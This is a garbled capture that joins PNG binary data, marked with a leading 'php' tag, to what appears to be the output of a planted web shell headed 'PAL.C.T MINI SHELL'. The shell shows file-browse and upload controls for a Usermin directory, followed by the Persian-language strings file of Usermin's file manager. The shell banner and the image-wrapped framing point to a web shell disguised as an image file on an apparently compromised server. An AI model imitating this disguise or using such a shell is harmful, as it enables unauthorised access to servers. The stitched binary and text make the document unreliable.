php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/file/lang/
upload
files >> //usr/libexec/usermin/file/lang/fa


index_title=مدير پرونده
index_nojava=اين پيمانه جهت اجرا شدن نياز به جاوا دارد اما مرورگر شمااز جاوا پشتيباني نمي‌کند.
index_eremote=کاربر يونيکسي که با $1 جهت ورود به وب‌مين مطابقت کند وجود ندارد.

switch_euser=کاربر يونيکس وجود ندارد!

top_ret=شاخص
top_down=ذخيره
top_edit=ويرايش
top_refresh=بازآوري
top_info=اطلاعات
top_eacl=ACL
top_attr=Attrs
top_ext=EXT
top_delete=حذف
top_new=جديد
top_upload=بارگيري
top_rename=تغيير نام
top_copy=رونوشت
top_cut=بريدن
top_paste=چسباندن
top_share=اشتراک گذاري
top_mount=سوار کردن
top_search=يافتن
top_config=پيکربندي

right_name=نام
right_size=اندازه
right_user=کاربر
right_group=گروه
right_date=تاريخ

edit_enormal=فقط پرونده‌هاي عادي قابل ويرايش مي‌باشند
edit_title=در حال ويرايش $1
edit_title2=در حال ايجاد کردن پرونده
edit_filename=نام پرونده: 
edit_goto=برو به
edit_find=يافتن
edit_gotoline=برو به خط
edit_replace=جايگزين کردن
edit_all=جايگزين کردن همه
edit_searchfor=جستجو براي
edit_replaceby=جايگزين کردن با
edit_eover=$1 قادر به نوشتن مجدد نمي‌باشد
edit_esave=عدم موفقيت در ذخيره کردن پرونده: $1
edit_eaccess=شما اجازه ذخيره کردن نداريد '$1'
edit_efollow=شما اجازه نوشتن برروي اتصال نمادين '$1' را نداريد
edit_notfound=متن '$1' يافت نشد
edit_saveclose=ذخيره کردن و بستن
edit_elength=پرونده کوتاه شده‌است

info_file=پرونده
info_path=مسير:
info_type=نوع:
info_size=اندازه:
info_mod=تاريخ اصلاح:
info_link=اتصال به:
info_perms=مجوزها
info_user=کاربر:
info_group=گروه:
info_other=ديگران:
info_octal=مبناي هشت:
info_sticky=محکم:
info_sticky2=تنها مالک مي‌تواند پرونده‌ها را حذف کند
info_own=مالکيت
info_setUID=قراردادن UID:
info_setUID2=اجرا به‌عنوان کاربر
info_setgid=قراردادن GID:
info_setgid2=پرونده‌ها از گروه ارث برند
info_setgid3=اجرا به‌عنوان گروه
info_apply=به‌کاربستن تغييرات در
info_apply1=فقط اين فهرست راهنما
info_apply2=اين فهرست راهنما و پرونده‌هايش
info_apply3=اين فهرست راهنما و کليه زير فهرستها
info_efailed=عدم موفقيت در به‌روزرساني $1
info_read=خواندن
info_write=نوشتن
info_list=ليست
info_exec=اجرا

eacl_eacls=عدم موفقيت در خواندن ACLها: $1
eacl_acltype=نوع ACL
eacl_aclname=به‌کاربستن در
eacl_aclperms=مجوزها
eacl_add=اضافه کردن ACL نوع:
eacl_remove=حذف ACL
eacl_efs=سيستم پرونده $1 از ACLها پشتيباني نمي‌کند
eacl_create=ايجاد ACL
eacl_edit=ويرايش ACL
eacl_user=مالک پرونده $1
eacl_group=گروه پرونده $1
eacl_eowner=کاربر يا گروه جهت به‌کاربستن يافت نشد
eacl_efailed=عدم موفقيت در قرار دادن ACL براي $1: $2
eacl_emask=حداکثر مي‌توان يک پوشش ورودي ACL داشت
eacl_edefmask=حداکثر مي‌توان يک پوشش ورودي ACL پيش‌گزيده داشت
eacl_title=ACL براي $1
eacl_owner=مالک پرونده
eacl_edefaults=اگر پرونده شامل تعدادي ACL پيش‌گزيده باشد بايد کاربر، گروه و ACLهاي پيش‌گزيده ديگري داشته باشد

acltype_user=کاربر
acltype_group=گروه
acltype_other=ديگران
acltype_mask=پوشش
acltype_default_user=کاربر پيش‌گزيده
acltype_default_group=گروه پيش‌گزيده
acltype_default_other=ديگران پيش‌گزيده
acltype_default_mask=پوشش پيش‌گزيده

delete_mtitle=حذف چندين پرونده
delete_dtitle=حذف فهرست راهنما
delete_ftitle=حذف پرونده
delete_ddesc=آيا از حذف دائم فهرست راهنماي $1 و همه محتويات آن مطمئن هستيد؟
delete_fdesc=آيا از حذف پرونده $1 مطمئن هستيد؟
delete_mdesc=آيا از حذف دائمي اين پرونده‌ها و فهرست راهنماها مطمئن هستيد؟
delete_efailed=عدم موفقيت در حذف $1: $2

mkdir_title=فهرست راهنماي جديد
mkdir_dir=فهرست راهنماي جديد:
mkdir_eexists=$1 از قبل وجود دارد
mkdir_efailed=عدم موفقيت در ايجاد فهرست راهنماي: $1
mkdir_eaccess=شما اجازه ايجاد $1 را نداريد

link_title=ايجاد اتصال
link_from=اتصال از:
link_to=اتصال به:
link_eexists=$1 از قبل وجود دارد
link_efrom=منبع اتصال بايد يک مسير مطلق باشد
link_efailed=عدم موفقيت در اتصال: $1
link_efrom2=شما اجازه اتصال از '$1' را نداريد
link_efollow=شما اجازه ايجاد اتصال نمادين را نداريد

rename_title=تغيير نام $1
rename_old=نام قبلي:
rename_new=نام جديد:
rename_ok=تغيير نام
rename_eexists=پرونده‌اي با نام $1 از قبل وجود دارد
rename_efailed=عدم موفقيت در تغيير نام: $1
rename_eold=شما اجازه تغيير نام '$1' را نداريد
rename_enew=شما اجازه تغيير نام به '$1' را نداريد

file_type0=فهرست راهنما
file_type1=پرونده متني
file_type2=پرونده تصويري
file_type3=پرونده دودويي
file_type4=پرونده
file_type5=اتصال نمادين
file_type6=پرونده دستگاه
file_type7=لوله

view_enormal=فقط پرونده‌هاي متني را مي‌توان ديد
view_enormal2=فقط پرونده‌هاي معمولي را مي‌توان بار کرد
view_eaccess=شما اجازه دستيابي به $1 را نداريد
view_eopen=عدم موفقيت در باز کردن $1:$2
view_edir=ايجاد بايگاني تنها براي فهرست راهنماهاي امکان پذير مي‌باشد
view_ecmd=دستور $1 که براي ايجاد بايگاني لازم است نصب نشده‌است
view_ecomp=عدم موفقيت در ايجاد بايگاني: $1
view_earchive=شما اجازه بارکردن بايگانيها را نداريد
view_earchmax=فهرست راهنماي انتخاب شده بزرگ‌تر از بيشترين مقداري است که براي بايگاني در نظر گرفته شده‌است ($1 بايت)

paste_ecopy=شما قبل از چسباندن بايد ببريد يا رونوشت نمائيد
paste_egone=پرونده رونوشت شده $1 وجود ندارد
paste_eover=$1 قابل باز نويسي نمي‌باشد
paste_eself=شما نمي‌توانيد يک پرونده را برروي خودش بچسبانيد
paste_emfailed=عدم موفقيت در انتقال: $1
paste_ecfailed=عدم موفقيت در رونوشت: $1

over_title=پرونده وجود دارد
over_msg=پرونده $1 از قبل وجود دارد از حوزه زير جهت وارد کردن نام جديد براي پرونده چسبانده شده‌استفاده نمائيد
over_new=نام پرونده جديد:
over_ok=تاييد

upload_efailed=عدم موفقيت در باز کردن بارگيري شده: $1
upload_title=بارگيري پرونده
upload_file=پرونده جهت بارگيري
upload_dir=بارگيري به فهرست راهنما
upload_ok=بارگيري
upload_conv=آيا خطوط جديد DOS تبديل شوند؟
upload_efile=پرونده‌اي براي بارگيري انتخاب نشده
upload_edir=فهرست راهنماي مقصد بارگيري موجود نيست
upload_eperm=شما اجازه ايجاد $1 را نداريد
upload_ewrite=عدم موفقيت در نوشتن درون $1:$2
upload_already=پرونده $1 از قبل وجود دارد از باز نويسي روي آن مطمئن هستيد
upload_elink=نمي‌توان به يک اتصال نمادين بارگيري نمود
upload_zip=آيا پرونده‌هاي tarيا zip از فشردگي خارج شوند؟
upload_yes=بله و سپس حذف شود

find_eaccess=شما اجازه دستيابي به $1 را نداريد
find_eexist=$1 درون $2 وجود ندارد
find_edir=$1 يک فهرست راهنما در $2 نيست

cancel=لغو
close=بستن
eopen=عدم موفقيت در بارگيري کردن: $1

chmod_eaccess=شما اجازه دستيابي به '$1' را نداريد
chmod_euser=$1: چنين کاربري وجود ندارد
chmod_egroup=$1: چنين گروهي وجود ندارد
chmod_elink=عدم موفقيت در اتصال نمادين
chmod_echown=عدم موفقيت در تغيير مالکيت: $1
chmod_echmod=عدم موفقيت در تغيير chmod: $1
chmod_efollow=شما اجازه اجازه ويرايش اتصالهاي نمادين را نداريد

copy_efrom=شما اجازه اجازه رونوشت برداشتن از $1 را نداريد
copy_eto=شما اجازه اجازه رونويسي در $1 را نداريد
copy_elink=عدم موفقيت در اتصال نمادين: $1

delete_eaccess=شما اجازه اجازه حذف $1 را نداريد

list_eaccess=شما اجازه اجازه دستيابي به اين فهرست راهنما را نداريد
list_edir=عدم موفقيت در ليست کردن$1: $2

move_eto=شما اجازه اجازه منتقل کردن به $1 را نداريد
move_afrom=شما اجازه اجازه انتقال '$1' را نداريد

acl_user=دستيابي به پرونده برروي کارساز به‌عنوان کاربر
acl_user_def=مانند وب‌مين
acl_umask=پوشش براي پرونده‌هاي جديد
acl_follow=آيا اتصالهاي نمادين دنبال شوند؟
acl_fyes=اگر صاحبان آن يکسان باشند
acl_ro=آيا حالت فقط خواندني است؟
acl_dirs=فقط اجازه دستيابي به اين فهرست (هاي) راهنما داه شود
acl_nodirs=دستيابي به فهرست (هاي) راهنما ممنوع شود
acl_home=به اضافه فهرست شخصي کاربر وب‌مين
acl_log=آيا کليه اصلاحات پرونده‌ها ثبت شود؟
acl_goto=اولين فهرست راهنماي اجازه داده شده باز شود؟
acl_max=بيشينه اندازه بار گذاري
acl_unlim=نامحدود
acl_b=بايت
acl_archive=آيا مي‌توان بايگانيهاي فهرستهاي راهنما را بار کرد؟
acl_archmax=بله، اگر کوچک‌تر است از:
acl_buttons=دگمه‌هاي قابل دستيابي در نوار ابزار
acl_button_save=ذخيره(بار کردن پرونده)
acl_button_edit=ويرايش(ويرايش پرونده‌هاي متني)
acl_button_info=اطلاعات (ويرايش مجوزها و مالکيت )
acl_button_acl=ACL (ويرايش ACL)
acl_button_attr=Attr (ويرايش خصيصه‌هاي XFS)
acl_button_ext=EXT (ويرايش خصيصه‌هاي EXT )
acl_button_search=يافتن (يافتن پرونده‌ها)
acl_button_delete=حذف(حذف پرونده‌ها)
acl_button_new=جديد(ايجاد پرونده متني)
acl_button_upload=بارگيري(بارگيري پرونده‌ها توسط کارخواه)
acl_button_mkdir=جديد (ايجاد فهرست راهنما)
acl_button_makelink=جديد (ايجاد اتصال نمادين)
acl_button_rename=تغيير نام (تغيير نام پرونده)
acl_button_sharing=اشتراک گذاري(تنظيم کردن سامبا و اشتراک گذاري پرونده NFS)
acl_button_mount=سوار (سوار يا پياده کردن سيستم پرونده )
acl_button_copy=رونوشت٬ برش و چسباندن
acl_unarchive=آيا مي‌توان پرونده‌هاي بايگاني بارگيري شده را استخراج نمود؟
acl_unarchive2=هميشه سعي شود
acl_unarchive1=$Yes
acl_unarchive0=$No
acl_dostounix=آيا مي‌توان خطوط جديد تبديل شده Dos داشت؟
acl_chroot=تغيير فهرست راهنماي مدير سيستم براي مدير پرونده وارد شده:
acl_relto=(وابسته به فهرست راهنماي هر مدير سيستم chroot)

share_title=اشتراک گذاري
share_samba=ويندوز
share_nfs=NFS
share_son=اشتراک گذاري پرونده ويندوز فعال شود
share_soff=اشتراک گذاري پرونده ويندوز غيرفعال شود
share_writable=آيا قابل نوشتن است؟
share_available=آيا در حال حاضر فعال است؟
share_sheader=گزينه‌هاي اشتراک گذاري
share_only=فقط
share_guest=آيا براي مهمان قابل دستيابي است؟
share_comment=شرح
share_nheader=گزينه‌هاي برون‌برد NFS
share_non=اشتراک گذاري پرونده NFS فعال شود
share_noff=اشتراک گذاري پرونده NFS غيرفعال شود
share_desc=شرح
share_ro=ميزبانهاي فقط خواندني
share_rw=ميزبانهاي خواندني و نوشتني
share_root=ميزبانهاي دستيابي به ريشه
share_none=هيچ
share_all=همه
share_listed=ليست شده..
share_host=ميزبانها
share_opts=گزينه‌ها
share_s0=هيچ کس مطمئن نيست
share_s1=هيچ کس غير از root مطمئن نيست
share_s2=همه مطمئن هستند
share_lro=فقط خواندني
share_lrw=خواندني و نوشتني

log_create_export=برون‌برد $1 NFS ايجاد شد.
log_modify_export=برون‌برد $1 NFS تغيير کرد.
log_delete_export=برون‌برد $1 NFS حذف شد.
log_create_share=اشتراک $1 سامبا ايجاد شد
log_modify_share=اشتراک $1 سامبا تغيير کرد
log_delete_share=اشتراک $1 سامبا حذف شد
log_save=پرونده $1 ذخيره شد
log_chmod=مجوزهاي پرونده $1 تغيير داده شد
log_mkdir=فهرست راهنماي $1ايجاد شد
log_upload=پرونده $1 بار گذاري شد
log_link=اتصال نمادين از $1 به $2 ايجاد شد
log_relink=اتصال نمادين از $1 به $2 تغيير کرد
log_copy=از پرونده $1 در $2 رونويسي شد
log_move=پرونده $1 به $2 حرکت داده شد
log_delete=پرونده $1حذف شد
log_attr=خصيصه‌هاي پرونده $1 قرار داده شد
log_acl=ACL پرونده $1قرار داده شد

search_eaccess=شما اجازه جستجو در اين فهرست راهنما را نداريد
search_title=يافتن پرونده‌ها
search_ok=جستجو
search_dir=جستجو در فهرست راهنما
search_match=براي تطبق دادن پرونده‌ها
search_user=کاربر مالک
search_group=گروه مالک
search_any=همه
search_type=نوع پرونده
search_types_=همه
search_types_f=پرونده
search_types_d=فهرست راهنما
search_types_l=اتصال نمادين
search_types_p=لوله نامدار
search_size=اندازه پرونده
search_more=بيش از
search_less=کمتر از
search_xdev=آيا سوار شده‌هاي قبلي نيز جستجو شود؟
search_edir=فهرست راهنماي جستجو نامعتبر است و يا يافت نشد
search_ematch=عبارت با قاعده تطبيق يافت نشد
search_euser=اسم‌کاربر يافت نشد
search_egroup=نام گروه يافت نشد
search_esize=اندازه پرونده بايد يک عدد صحيح باشد
search_crit=معيارهاي جستجو
search_list=نتايج جستجو

facl_eaccess=شما اجازه قرار دادن ACLها براي اين پرونده را نداريد

attr_eattrs=عدم موفقيت در دريافت خصيصه‌ها: $1
attr_efs=سيستم پرونده $1 از خصيصه‌ها پشتيباني نمي‌کند
attr_add=افزودن خصيصه
attr_name=نام خصيصه
attr_value=مقدار خصيصه
attr_efailed=عدم موفقيت در قرار دادن خصيصه‌ها براي $1: $2
attr_title=خصيصه پرونده براي $1
attr_create=افزودن خصيصه
attr_edit=ويرايش خصيصه
attr_ename=نام خصيصه يافت نشد

ext_eattrs=عدم موفقيت در دريافت خصيصه‌هايEXT: $1
ext_efs=سيستم پرونده $1از خصيصه‌هاي EXT پشتيباني نمي‌کند
ext_title=خصيصه‌هايEXTبراي $1
ext_header=خصيصه‌هاي پروندهEXT
ext_efailed=عدم موفقيت در قرار دادن خصيصه‌ها براي $1: $2

eattr_A=زمانهاي دستيابي به‌روزرساني نشود
eattr_a=تنها مي‌توان به پرونده‌ها اضافه کرد
eattr_c=داده‌ها برروي ديسک فشرده سازي شوند
eattr_d=با زباله پشتيبان تهيه نشود
eattr_i=اجازه اصلاحات داده نشود
eattr_s=به هنگام حذف کردن بلاکها صفر شوند
eattr_S=هميشه پس از نوشتن همزمان شوند
eattr_u=محتويات براي غيرحذفيها حفظ شوند

mount_eaccess=شما اجازه سوار کردن سيستم پرونده را نداريد
mount_efstab=هيچ سيستم پرونده‌اي در اين نقطه از سوار وجود دارد
mount_epoint=$1 يک نقطه سوار نيست
mount_rusure1=آيا شما مطمئن هستيد که مي‌خواهيد $1 از $2را سوار نمائيد ?
mount_rusure2=آيا شما مطمئن هستيد که مي‌خواهيد $1 از $2را پياده نمائيد؟
mount_err1=عدم موفقيت در سوار کردن $1: $2
mount_err2=عدم موفقيت در پياده کردن $1: $2
mount_title1=سوار کردن سيستم پرونده
mount_title2=پياده کردن سيستم پرونده

zip_err=نمي توان پرونده : $1را استخراج نمود
zip_ecmd=دستور $1يافت نشد
zip_eunzip=عدم موفقيت در Unzipکردن: $1
zip_ename=به نظر مي‌رسد يک پرونده zip, tar يا tar.gz نيست
zip_euntar=عدم موفقيت درUn-tarکردن: $1
zip_euntar2=عدم موفقيت در خارج کردن از فشرده سازي و un-tar کردن: $1

ddir_title=فهرست راهنماي بار کردن
ddir_rusure=براي بار کردن محتويات $1 به‌صورت يک پرونده بايگاني يکي از دگمه‌هاي نوع بايگاني زير را فشار دهيد.
ddir_zip=ZIP
ddir_tgz=TAR.GZ
ddir_tar=TAR

ebutton=اين خصوصيت قابل دستيابي نيست


y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`